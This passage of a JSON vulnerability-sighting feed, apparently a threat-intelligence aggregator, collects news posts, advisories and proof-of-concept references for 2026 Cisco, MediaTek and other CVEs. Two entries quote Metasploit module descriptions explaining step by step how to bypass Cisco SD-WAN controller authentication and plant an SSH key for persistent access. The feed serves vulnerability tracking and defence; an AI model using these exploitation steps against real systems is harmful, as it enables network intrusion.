"Cisco\u3001\u30a2\u30c9\u30d0\u30a4\u30b6\u30ea12\u4ef6\u3092\u516c\u958b - \u300cCatalyst SD-WAN\u300d\u300cIOS XE\u300d\u306b\u6df1\u523b\u306a\u8106\u5f31\u6027\n\nCisco Systems\u306f\u73fe\u5730\u6642\u95938\u67085\u65e5\u3001\u300cCisco Catalyst SD-WAN\u300d\u3084\u300cCisco IOS XE\u300d\u3092\u306f\u3058\u3081\u3001\u8907\u6570\u88fd\u54c1\u306e\u8106\u5f31\u6027\u306b\u3064\u3044\u3066\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30a2\u30c9\u30d0\u30a4\u30b6\u30ea\u3092\u30ea\u30ea\u30fc\u30b9\u3057\u305f\u3002\u91cd\u8981\u5ea6\u304c\u300c\u30af\u30ea\u30c6\u30a3\u30ab\u30eb\uff08Critical\uff09\u300d\u3068\u3055\u308c\u308b\u30a2\u30c9\u30d0\u30a4\u30b6\u30ea\u3082\u8907\u6570\u516c\u958b\u3057\u3066\u3044\u308b\u3002\n\n...\n\n\u300cCisco Catalyst SD-WAN Software\u300d\u306e\u30a2\u30c9\u30d0\u30a4\u30b6\u30ea\u3067\u306f5\u4ef6\u306e\u8106\u5f31\u6027\u306b\u8a00\u53ca\u3002\u306a\u304b\u3067\u3082\u5165\u529b\u691c\u8a3c\u4e0d\u5099\u306b\u8d77\u56e0\u3059\u308b\u300cCVE-2026-20303\u300d\u3001\u30a2\u30af\u30bb\u30b9\u5236\u5fa1\u4e0d\u5099\u306e\u8106\u5f31\u6027...", "creation_timestamp": "2026-09-07T12:43:17.660199Z"}, {"uuid": "bd891d43-7af6-4043-8eb7-1e4b960d6169", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20504", "type": "seen", "source": "https://www.acn.gov.it/portale/w/risolte-vulnerabilita-nei-chipset-mediatek", "content": "", "creation_timestamp": "2026-09-07T12:45:03.660234Z"}, {"uuid": "e3160ee5-fe4e-4e71-8356-36a218b279d5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20503", "type": "seen", "source": "https://www.acn.gov.it/portale/w/risolte-vulnerabilita-nei-chipset-mediatek", "content": "", "creation_timestamp": "2026-09-07T12:45:05.829334Z"}, {"uuid": "f6156012-25ca-469e-b502-c8396b5d76e0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20502", "type": "seen", "source": "https://www.acn.gov.it/portale/w/risolte-vulnerabilita-nei-chipset-mediatek", "content": "", "creation_timestamp": "2026-09-07T12:45:07.994953Z"}, {"uuid": "fa86423a-2c8c-4c51-b1ee-6e153fd291d9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20501", "type": "seen", "source": "https://www.acn.gov.it/portale/w/risolte-vulnerabilita-nei-chipset-mediatek", "content": "", "creation_timestamp": "2026-09-07T12:45:19.205280Z"}, {"uuid": "c4b179ed-7adf-4aa7-92fc-042151b0e7e9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20500", "type": "seen", "source": "https://www.acn.gov.it/portale/w/risolte-vulnerabilita-nei-chipset-mediatek", "content": "", "creation_timestamp": "2026-09-07T12:45:21.372172Z"}, {"uuid": "e163f932-dc52-481f-96ec-5087ec6c7276", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20354", "type": "seen", "source": "https://bsky.app/profile/securitylab-jp.bsky.social/post/3muxoi34ya227", "content": "Cisco Secure Email\u306bS/MIME\u306e\u8106\u5f31\u6027(CVE-2026-20354,CVE-2026-20355)\u3001\u6697\u53f7\u5316\u30e1\u30fc\u30eb\u306e\u5e73\u6587\u53d6\u5f97\u306b\u3064\u306a\u304c\u308b\u53ef\u80fd\u6027\u3000IP\u96fb\u8a71\u306eDoS\u3082\u516c\u8868 \n rocket-boys.co.jp/security-mea... \n\n#\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u5bfe\u7b56Lab #security #securitynews #\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3 #\u8106\u5f31\u6027", "creation_timestamp": "2026-09-07T23:38:07.290267Z"}, {"uuid": "7e8249ad-3649-4e34-ae8a-894b64e1489a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20355", "type": "seen", "source": "https://bsky.app/profile/securitylab-jp.bsky.social/post/3muxoi34ya227", "content": "Cisco Secure Email\u306bS/MIME\u306e\u8106\u5f31\u6027(CVE-2026-20354,CVE-2026-20355)\u3001\u6697\u53f7\u5316\u30e1\u30fc\u30eb\u306e\u5e73\u6587\u53d6\u5f97\u306b\u3064\u306a\u304c\u308b\u53ef\u80fd\u6027\u3000IP\u96fb\u8a71\u306eDoS\u3082\u516c\u8868 \n rocket-boys.co.jp/security-mea... \n\n#\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u5bfe\u7b56Lab #security #securitynews #\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3 #\u8106\u5f31\u6027", "creation_timestamp": "2026-09-07T23:38:07.345675Z"}, {"uuid": "da05003d-58b2-4f44-82b2-c881274810ff", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20637", "type": "published-proof-of-concept", "source": "Telegram/m8SWfVeZlticuBT317GgsGZAEtL8zbxvMheXkcIiGwkXhdo", "content": "", "creation_timestamp": "2026-09-08T00:00:45.763488Z"}, {"uuid": "02999ab3-f4ca-4f23-8ad0-8ca6d21ef985", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20841", "type": "published-proof-of-concept", "source": "Telegram/zTLWDTjI8aNlfNOrqRvaLcWsOXCWe-z-FjDbmO4DXVBEXpo", "content": "", "creation_timestamp": "2026-09-08T00:00:52.296589Z"}, {"uuid": "fe704924-6887-48b1-8ce4-5a8cbd39a654", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20841", "type": "published-proof-of-concept", "source": "Telegram/sJjjpcpFKkHhx7Z_cZZyZ2nlyOSKWm37fVXPEhiswF_MZf0", "content": "", "creation_timestamp": "2026-09-08T00:00:58.512106Z"}, {"uuid": "b5f565af-984c-42fa-a031-18f4f7974b15", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20122", "type": "seen", "source": "https://t.me/cissp/7871", "content": "When Network Infrastructure Becomes \nthe Initial Access Vector\n\nOver the past weeks, several critical vulnerabilities and active exploitations have surfaced across major enterprise infrastructure platforms highlighting once again that security perimeters are increasingly defined by mismanaged infrastructure components.\n\nHere are a few developments worth paying attention to:\n\n1. Cisco Catalyst SD-WAN Controllers (CVSS 10.0)\n\nCisco warned of active exploitation of CVE-2026-20127, allowing unauthenticated attackers to bypass authentication and gain administrative access. Researchers linked the activity to the UAT-8616 threat cluster, with indicators suggesting malicious control-plane peers and privilege escalation to root.\n\nImpact:\nCompromise of SD-WAN controllers effectively means control over the enterprise network fabric.\n\n2. Microsoft MSHTML Zero-Day (CVE-2026-21513)\n\nMicrosoft patched a vulnerability in ieframe.dll enabling attackers to bypass Mark of the Web protections and Internet Explorer ESC. A malicious LNK sample linked to APT28 infrastructure demonstrates how legacy components continue to provide viable entry points.\n\nImpact:\nMalicious documents can trigger code execution paths in environments that still rely on MSHTML rendering components.\n\n\n3. Additional Cisco SD-WAN Manager Exploits\n\nCisco confirmed exploitation of two additional flaws:\n\u2022 CVE-2026-20122 \u2013 arbitrary file overwrite using API credentials\n\u2022 CVE-2026-20128 \u2013 post login data exposure and privilege escalation (DCA)\n\nImpact:\nThese flaws demonstrate how API surfaces and management planes remain high-value attack targets.\n\n4. FortiGate as an Initial Breach Vector\n\nA recent SentinelOne investigation shows attackers abusing FortiGate devices to extract configuration files containing Active Directory service account credentials\nOnce obtained, adversaries:\n\u2022 Register rogue machines\n\u2022 Move laterally inside the network\n\u2022 Conduct internal reconnaissance\n\nImpact:\nSecurity appliances themselves are increasingly becoming the first compromised asset in breach chains.\n\nKey Takeaway\nThe pattern across these incidents is clear:\nInfrastructure security \u2260 device hardening alone.\n\nOrganizations need:\n\u2022 Continuous patch governance\ud83e\udd19\ud83c\udffe\n\u2022 Management plane isolation\n\u2022 Credential hygiene in network appliances\n\u2022 Detection capabilities focused on control plane anomalies\n\u2022 SOC playbooks covering network infrastructure compromise\ud83e\udd19\ud83c\udffe\n\nIn many breaches today, the firewall, SD-WAN controller, or edge appliance becomes the attacker\u2019s first domain controller.\n\n\u2014 CISO as a Service \u2014\nStrategic Cyber Defense & GRC\nResilient Through Knowledge\n2026.03.12\n\n#CyberSecurity #ThreatIntelligence #SDWAN #Fortinet #CiscoSecurity #ZeroDay #APT28 #SecurityGovernance #SOC #vCISO\n\nhttps://www.linkedin.com/posts/alirezaghahrood_cybersecurity-threatintelligence-sdwan-share-7437860289229910017-U23V", "creation_timestamp": "2026-09-09T03:00:07.151952Z"}, {"uuid": "a45fd930-b216-419e-973d-301dd45e7d74", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20127", "type": "seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/admin/networking/cisco_sdwan_auth_bypass.rb", "content": "{\"actions\": [], \"aliases\": [], \"arch\": \"\", \"author\": [\"sfewer-r7\"], \"autofilter_ports\": [], \"autofilter_services\": [], \"check\": true, \"default_credential\": false, \"description\": \"This module exploits an authentication bypass vulnerability (CVE-2026-20127)\\n          in the Cisco Catalyst SD-WAN Controller (vSmart). The vdaemon DTLS control-plane\\n          service fails to properly validate the verify_status byte in CHALLENGE_ACK_ACK\\n          (msg_type=10) messages. The vbond_proc_challenge_ack_ack() handler reads an\\n          attacker-controlled verify_status byte from the message body and, if non-zero,\\n          sets the peer's authenticated flag to 1. Furthermore, the authentication gate in\\n          vbond_proc_msg() exempts msg_type=10 from authentication checks, allowing an\\n          unauthenticated peer to send this message.\\n\\n          An attacker can connect via DTLS 1.2 using a self-signed certificate (the server\\n          performs no certificate validation at the handshake stage), skip the CHALLENGE_ACK\\n          step, and send a forged CHALLENGE_ACK_ACK with verify_status=1 to become a trusted\\n          peer without any legitimate credentials.\\n\\n          This module leverages the auth bypass to inject an SSH public key into the\\n          vmanage-admin authorized_keys file via a VMANAGE_TO_PEER message, providing\\n          persistent SSH access to the controller.\", \"disclosure_date\": \"2026-02-25\", \"fullname\": \"auxiliary/admin/networking/cisco_sdwan_auth_bypass\", \"is_install_path\": true, \"mod_time\": \"2026-06-30 14:15:16 +0000\", \"name\": \"Cisco Catalyst SD-WAN Controller Authentication Bypass\", \"needs_cleanup\": false, \"notes\": {\"Reliability\": [], \"SideEffects\": [\"artifacts-on-disk\", \"ioc-in-logs\"], \"Stability\": [\"crash-safe\"]}, \"path\": \"/modules/auxiliary/admin/networking/cisco_sdwan_auth_bypass.rb\", \"platform\": \"\", \"post_auth\": false, \"rank\": 300, \"ref_name\": \"admin/networking/cisco_sdwan_auth_bypass\", \"references\": [\"CVE-2026-20127\", \"URL-https://github.com/sfewer-r7/CVE-2026-20127\", \"URL-https://attackerkb.com/topics/bP3FMvHe7z/cve-2026-20127/rapid7-analysis\", \"URL-https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-sdwan-rpa-EHchtZk\", \"URL-https://blog.talosintelligence.com/uat-8616-sd-wan/\"], \"rport\": 12346, \"session_types\": false, \"targets\": null, \"type\": \"auxiliary\"}", "creation_timestamp": "2026-09-08T06:46:53.419815Z"}, {"uuid": "459f0a0b-06f1-485f-a8ee-5addb3196efb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20182", "type": "seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/admin/networking/cisco_sdwan_vhub_auth_bypass.rb", "content": "{\"actions\": [], \"aliases\": [], \"arch\": \"\", \"author\": [\"sfewer-r7\", \"Crypto-Cat\"], \"autofilter_ports\": [], \"autofilter_services\": [], \"check\": true, \"default_credential\": false, \"description\": \"This module exploits an authentication bypass vulnerability (CVE-2026-20182)\\n          in the Cisco Catalyst SD-WAN Controller. The vdaemon DTLS control-plane\\n          service performs no certificate or credential verification for connecting peers\\n          that claim to be a vHub (device type 2). The vbond_proc_challenge_ack() function\\n          implements device-type-specific verification through a series of conditional\\n          blocks, but contains no code path for device type 2 (vHub). After a DTLS\\n          handshake using any self-signed certificate, an attacker sends a CHALLENGE_ACK\\n          (msg_type=9) with the vHub device type encoded in the protocol header. The\\n          function falls through all verification checks and unconditionally sets\\n          peer->authenticated = 1.\\n\\n          This module leverages the authentication bypass to inject an attacker-controlled\\n          SSH public key into the vmanage-admin user's authorized_keys file via a\\n          VMANAGE_TO_PEER message (msg_type=14), providing persistent SSH access to the\\n          controller over the NETCONF service (TCP port 830).\\n\\n          Affected versions: Cisco Catalyst SD-WAN Controller 20.12.6.1 and earlier.\\n          Consult Cisco's security advisory for a complete list of affected versions\\n          and patches.\", \"disclosure_date\": \"2026-05-07\", \"fullname\": \"auxiliary/admin/networking/cisco_sdwan_vhub_auth_bypass\", \"is_install_path\": true, \"mod_time\": \"2026-06-30 14:15:16 +0000\", \"name\": \"Cisco Catalyst SD-WAN Controller vHub Authentication Bypass\", \"needs_cleanup\": false, \"notes\": {\"Reliability\": [], \"SideEffects\": [\"artifacts-on-disk\", \"ioc-in-logs\"], \"Stability\": [\"crash-safe\"]}, \"path\": \"/modules/auxiliary/admin/networking/cisco_sdwan_vhub_auth_bypass.rb\", \"platform\": \"\", \"post_auth\": false, \"rank\": 300, \"ref_name\": \"admin/networking/cisco_sdwan_vhub_auth_bypass\", \"references\": [\"CVE-2026-20182\", \"URL-https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-sdwan-rpa2-v69WY2SW\", \"URL-https://blog.talosintelligence.com/sd-wan-ongoing-exploitation/\", \"URL-https://www.rapid7.com/blog/post/ve-cve-2026-20182-critical-authentication-bypass-cisco-catalyst-sd-wan-controller-fixed/\"], \"rport\": 12346, \"session_types\": false, \"targets\": null, \"type\": \"auxiliary\"}", "creation_timestamp": "2026-09-08T06:46:53.526793Z"}, {"uuid": "002dc8e8-80ac-45ab-8aa2-94618366bb04", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20293", "type": "seen", "source": "https://infosec.exchange/users/AAKL/statuses/117236417536820043", "content": "New advisories from Cisco addressing two high and medium-severity vulnerabilities.\nNew: CVE-2026-20293: Cisco UCS and UCS-Based Appliances UEFI Shell Secure Boot Bypass Vulnerability https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-ucs-uefi-sb-bypass-eb6xC5GW\nKnown: CVE-2026-20354 and CVE-2026-20355: Cisco Secure Email Secure/Multipurpose Internet Mail Extensions Ciphertext Decryption Vulnerabilities @TalosSecurity #infosec #vulnerability #Cisco", "creation_timestamp": "2026-09-08T16:42:46.445862Z"}, {"uuid": "3c2ccaf2-1d48-4140-91a2-8f40e31d3dc1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20354", "type": "seen", "source": "https://infosec.exchange/users/AAKL/statuses/117236417536820043", "content": "New advisories from Cisco addressing two high and medium-severity vulnerabilities.\nNew: CVE-2026-20293: Cisco UCS and UCS-Based Appliances UEFI Shell Secure Boot Bypass Vulnerability https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-ucs-uefi-sb-bypass-eb6xC5GW\nKnown: CVE-2026-20354 and CVE-2026-20355: Cisco Secure Email Secure/Multipurpose Internet Mail Extensions Ciphertext Decryption Vulnerabilities @TalosSecurity #infosec #vulnerability #Cisco", "creation_timestamp": "2026-09-08T16:42:46.518937Z"}, {"uuid": "af3211c8-aaca-4f10-952e-69739ae2fb5f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20355", "type": "seen", "source": "https://infosec.exchange/users/AAKL/statuses/117236417536820043", "content": "New advisories from Cisco addressing two high and medium-severity vulnerabilities.\nNew: CVE-2026-20293: Cisco UCS and UCS-Based Appliances UEFI Shell Secure Boot Bypass Vulnerability https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-ucs-uefi-sb-bypass-eb6xC5GW\nKnown: CVE-2026-20354 and CVE-2026-20355: Cisco Secure Email Secure/Multipurpose Internet Mail Extensions Ciphertext Decryption Vulnerabilities @TalosSecurity #infosec #vulnerability #Cisco", "creation_timestamp": "2026-09-08T16:42:46.560627Z"}, {"uuid": "b33026d5-b6ee-47f5-ae71-cff662a8bc9c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20128", "type": "seen", "source": "https://t.me/cissp/7871", "content": "When Network Infrastructure Becomes \nthe Initial Access Vector\n\nOver the past weeks, several critical vulnerabilities and active exploitations have surfaced across major enterprise infrastructure platforms highlighting once again that security perimeters are increasingly defined by mismanaged infrastructure components.\n\nHere are a few developments worth paying attention to:\n\n1. Cisco Catalyst SD-WAN Controllers (CVSS 10.0)\n\nCisco warned of active exploitation of CVE-2026-20127, allowing unauthenticated attackers to bypass authentication and gain administrative access. Researchers linked the activity to the UAT-8616 threat cluster, with indicators suggesting malicious control-plane peers and privilege escalation to root.\n\nImpact:\nCompromise of SD-WAN controllers effectively means control over the enterprise network fabric.\n\n2. Microsoft MSHTML Zero-Day (CVE-2026-21513)\n\nMicrosoft patched a vulnerability in ieframe.dll enabling attackers to bypass Mark of the Web protections and Internet Explorer ESC. A malicious LNK sample linked to APT28 infrastructure demonstrates how legacy components continue to provide viable entry points.\n\nImpact:\nMalicious documents can trigger code execution paths in environments that still rely on MSHTML rendering components.\n\n\n3. Additional Cisco SD-WAN Manager Exploits\n\nCisco confirmed exploitation of two additional flaws:\n\u2022 CVE-2026-20122 \u2013 arbitrary file overwrite using API credentials\n\u2022 CVE-2026-20128 \u2013 post login data exposure and privilege escalation (DCA)\n\nImpact:\nThese flaws demonstrate how API surfaces and management planes remain high-value attack targets.\n\n4. FortiGate as an Initial Breach Vector\n\nA recent SentinelOne investigation shows attackers abusing FortiGate devices to extract configuration files containing Active Directory service account credentials\nOnce obtained, adversaries:\n\u2022 Register rogue machines\n\u2022 Move laterally inside the network\n\u2022 Conduct internal reconnaissance\n\nImpact:\nSecurity appliances themselves are increasingly becoming the first compromised asset in breach chains.\n\nKey Takeaway\nThe pattern across these incidents is clear:\nInfrastructure security \u2260 device hardening alone.\n\nOrganizations need:\n\u2022 Continuous patch governance\ud83e\udd19\ud83c\udffe\n\u2022 Management plane isolation\n\u2022 Credential hygiene in network appliances\n\u2022 Detection capabilities focused on control plane anomalies\n\u2022 SOC playbooks covering network infrastructure compromise\ud83e\udd19\ud83c\udffe\n\nIn many breaches today, the firewall, SD-WAN controller, or edge appliance becomes the attacker\u2019s first domain controller.\n\n\u2014 CISO as a Service \u2014\nStrategic Cyber Defense & GRC\nResilient Through Knowledge\n2026.03.12\n\n#CyberSecurity #ThreatIntelligence #SDWAN #Fortinet #CiscoSecurity #ZeroDay #APT28 #SecurityGovernance #SOC #vCISO\n\nhttps://www.linkedin.com/posts/alirezaghahrood_cybersecurity-threatintelligence-sdwan-share-7437860289229910017-U23V", "creation_timestamp": "2026-09-09T03:00:07.060974Z"}, {"uuid": "75af8a9a-9638-4c17-9850-b6ab9abdfafb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20127", "type": "seen", "source": "https://t.me/cissp/7871", "content": "When Network Infrastructure Becomes \nthe Initial Access Vector\n\nOver the past weeks, several critical vulnerabilities and active exploitations have surfaced across major enterprise infrastructure platforms highlighting once again that security perimeters are increasingly defined by mismanaged infrastructure components.\n\nHere are a few developments worth paying attention to:\n\n1. Cisco Catalyst SD-WAN Controllers (CVSS 10.0)\n\nCisco warned of active exploitation of CVE-2026-20127, allowing unauthenticated attackers to bypass authentication and gain administrative access. Researchers linked the activity to the UAT-8616 threat cluster, with indicators suggesting malicious control-plane peers and privilege escalation to root.\n\nImpact:\nCompromise of SD-WAN controllers effectively means control over the enterprise network fabric.\n\n2. Microsoft MSHTML Zero-Day (CVE-2026-21513)\n\nMicrosoft patched a vulnerability in ieframe.dll enabling attackers to bypass Mark of the Web protections and Internet Explorer ESC. A malicious LNK sample linked to APT28 infrastructure demonstrates how legacy components continue to provide viable entry points.\n\nImpact:\nMalicious documents can trigger code execution paths in environments that still rely on MSHTML rendering components.\n\n\n3. Additional Cisco SD-WAN Manager Exploits\n\nCisco confirmed exploitation of two additional flaws:\n\u2022 CVE-2026-20122 \u2013 arbitrary file overwrite using API credentials\n\u2022 CVE-2026-20128 \u2013 post login data exposure and privilege escalation (DCA)\n\nImpact:\nThese flaws demonstrate how API surfaces and management planes remain high-value attack targets.\n\n4. FortiGate as an Initial Breach Vector\n\nA recent SentinelOne investigation shows attackers abusing FortiGate devices to extract configuration files containing Active Directory service account credentials\nOnce obtained, adversaries:\n\u2022 Register rogue machines\n\u2022 Move laterally inside the network\n\u2022 Conduct internal reconnaissance\n\nImpact:\nSecurity appliances themselves are increasingly becoming the first compromised asset in breach chains.\n\nKey Takeaway\nThe pattern across these incidents is clear:\nInfrastructure security \u2260 device hardening alone.\n\nOrganizations need:\n\u2022 Continuous patch governance\ud83e\udd19\ud83c\udffe\n\u2022 Management plane isolation\n\u2022 Credential hygiene in network appliances\n\u2022 Detection capabilities focused on control plane anomalies\n\u2022 SOC playbooks covering network infrastructure compromise\ud83e\udd19\ud83c\udffe\n\nIn many breaches today, the firewall, SD-WAN controller, or edge appliance becomes the attacker\u2019s first domain controller.\n\n\u2014 CISO as a Service \u2014\nStrategic Cyber Defense & GRC\nResilient Through Knowledge\n2026.03.12\n\n#CyberSecurity #ThreatIntelligence #SDWAN #Fortinet #CiscoSecurity #ZeroDay #APT28 #SecurityGovernance #SOC #vCISO\n\nhttps://www.linkedin.com/posts/alirezaghahrood_cybersecurity-threatintelligence-sdwan-share-7437860289229910017-U23V", "creation_timestamp": "2026-09-09T03:00:07.196165Z"}, {"uuid": "78f17d38-9acb-4915-a070-6ac289c7a4ce", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "c933734a-9be8-4142-889e-26e95c752803", "vulnerability": "GCVE-1-2026-20026", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/5391d078-3b34-4be8-ba3f-f7f829fa073c", "content": "", "creation_timestamp": "2026-09-09T10:39:42.051472Z"}, {"uuid": "102bc0af-234f-4b0d-ac20-a373542df88c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2035703", "type": "seen", "source": "https://bsky.app/profile/hacker.at.thenote.app/post/3mv3te6doik25", "content": "**Subject:** CVE-2026-2035703: Tozed ZLT X300 5G CPE \u2014 Unauthenticated Remote Root Code Execution via TR-069 Command Injection (CVSS 9.8)\n\nPosted by Surf free on Sep 08Tozed ZLT X300 5G CPE Router firmware 6.01.3 contains an OS command \ninjection vulnerability (CWE-78) in the TR-0\u2026\n#hackernews #news", "creation_timestamp": "2026-09-09T15:16:03.191419Z"}, {"uuid": "59b681ed-8568-4d8e-890b-7e18622ea302", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20079", "type": "seen", "source": "https://infosec.exchange/users/AAKL/statuses/117241953681889456", "content": "Broadcom has a long list of advisories today for high and medium-severity vulnerabilities https://support.broadcom.com/web/ecx/security-advisory #Broadcom #Linux \nPalo Alto:\nPalo Alto has several advisories, one of them critical:\nCRITICAL: CVE-2026-0310 PAN-OS: Buffer Overflow Vulnerability via XML Processing https://security.paloaltonetworks.com/CVE-2026-0310\nMore: https://security.paloaltonetworks.com/ \nCisco:\nCRITICAL: CVE-2026-20079: Cisco Secure Firewall Management Center Software Authentication Bypass Vulnerability https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-onprem-fmc-authbypass-5JPp45V2 @TalosSecurity #Cisco \nDell:\nA Dell release that impacts multiple CVEs: Security Update for Dell PowerScale OneFS Multiple Third-Party Component Vulnerabilities https://www.dell.com/support/kbdoc/en-us/000474822/dsa-2026-237-security-update-for-dell-powerscale-onefs-multiple-third-party-component-vulnerabilities #Dell  \nPosted yesterday:\nApple:\nSeveral releases were posted yesterday https://support.apple.com/en-us/100100 #Apple #iOS \nAMD:\nAMD: Linux GPU Driver NULL Pointer Dereference https://www.amd.com/en/resources/product-security/bulletin/amd-sb-6034.html #AMD \nAdobe: \nAdobe has a long list of updates here https://helpx.adobe.com/security/security-bulletin.html #Adobe #infosec #vulnerability", "creation_timestamp": "2026-09-09T16:10:42.537344Z"}, {"uuid": "44a60fb0-66ce-4aa3-991f-7079f8ffe2d0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20079", "type": "seen", "source": "https://bsky.app/profile/securityonline.bsky.social/post/3mv3xfinf7m26", "content": "Cisco Talos warns of Cisco FMC vulnerabilities actively exploited in the wild. Attackers chain CVE-2026-20079 and CVE-2026-20316 to deploy ransomware.\n\n#CiscoFMC #Cybersecurity #CVE202620079 #Ransomware #InfoSec", "creation_timestamp": "2026-09-09T16:28:22.937410Z"}, {"uuid": "9559fb1c-0c34-481f-a302-61442ac33ce9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20316", "type": "seen", "source": "https://bsky.app/profile/securityonline.bsky.social/post/3mv3xfinf7m26", "content": "Cisco Talos warns of Cisco FMC vulnerabilities actively exploited in the wild. Attackers chain CVE-2026-20079 and CVE-2026-20316 to deploy ransomware.\n\n#CiscoFMC #Cybersecurity #CVE202620079 #Ransomware #InfoSec", "creation_timestamp": "2026-09-09T16:28:22.992413Z"}, {"uuid": "0492c3a1-7c7c-4f88-ad3a-823b1a22503c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20079", "type": "seen", "source": "https://infosec.exchange/users/edwardk/statuses/117242143020219712", "content": "Cisco Talos reports active exploitation of CVE-2026-20079 and CVE-2026-20316 in Cisco Secure Firewall Management Center by threat actors deploying malware, web shells, and ransomware. Customers are strongly urged to apply security patches immediately to prevent unauthorized access and potential compromise.https://blog.talosintelligence.com/fmc-ongoing-exploitation/", "creation_timestamp": "2026-09-09T16:58:57.143350Z"}, {"uuid": "44ca72ac-d00f-4dfb-951f-5cfff06951bb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20316", "type": "seen", "source": "https://infosec.exchange/users/edwardk/statuses/117242143020219712", "content": "Cisco Talos reports active exploitation of CVE-2026-20079 and CVE-2026-20316 in Cisco Secure Firewall Management Center by threat actors deploying malware, web shells, and ransomware. Customers are strongly urged to apply security patches immediately to prevent unauthorized access and potential compromise.https://blog.talosintelligence.com/fmc-ongoing-exploitation/", "creation_timestamp": "2026-09-09T16:58:57.207701Z"}, {"uuid": "9be09d14-8d6b-4078-a343-3a22e0012945", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20079", "type": "seen", "source": "https://bsky.app/profile/e-kiledjian.bsky.social/post/3mv3z52lkt22k", "content": "Cisco Talos reports active exploitation of CVE-2026-20079 and CVE-2026-20316 in Cisco Secure Firewall Management Center by threat actors deploying malware, web shells, and ransomware.\nblog.talosintelligence.com/fmc-ongoing-...", "creation_timestamp": "2026-09-09T16:59:30.176016Z"}, {"uuid": 